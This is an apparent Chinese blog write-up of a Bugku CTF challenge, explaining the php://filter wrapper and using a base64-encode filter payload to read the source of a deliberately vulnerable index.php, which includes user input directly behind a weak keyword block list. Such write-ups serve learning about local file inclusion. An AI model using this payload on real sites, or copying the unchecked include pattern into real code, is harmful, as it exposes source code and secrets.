通过php_filter获取flag

php://filter

php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。

名称 描述
resource=<要过滤的数据流> 这个参数是必须的。它指定了你要筛选过滤的数据流。
read=<读链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
write=<写链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
<;两个链的筛选列表> 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。

使用BASE64获取源码

使用bugku平台的一道题目

访问题目环境

环境地址

  • 点击click me?no,页面跳转到test5,但是地址栏得链接却变成了http://123.206.87.240:8005/post/index.php?file=show.php

  • 因为题目说flag在index中,所以尝试使用php://filter构造payload:php://filter/read=convert.base64-encode/resource=index.php

  • 将得到的数据进行BASE64解码

<html>
    <title>Bugku-ctf</title>
    
<?php
	error_reporting(0);
	if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
	$file=$_GET['file'];
	if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
		echo "Oh no!";
		exit();
	}
	include($file); 
//flag:flag{edulcni_elif_lacol_si_siht}
?>
</html>
  • 得到flagflag:flag{edulcni_elif_lacol_si_siht}
posted @ 2020-04-13 15:54  Quail  阅读(813)  评论(0编辑  收藏  举报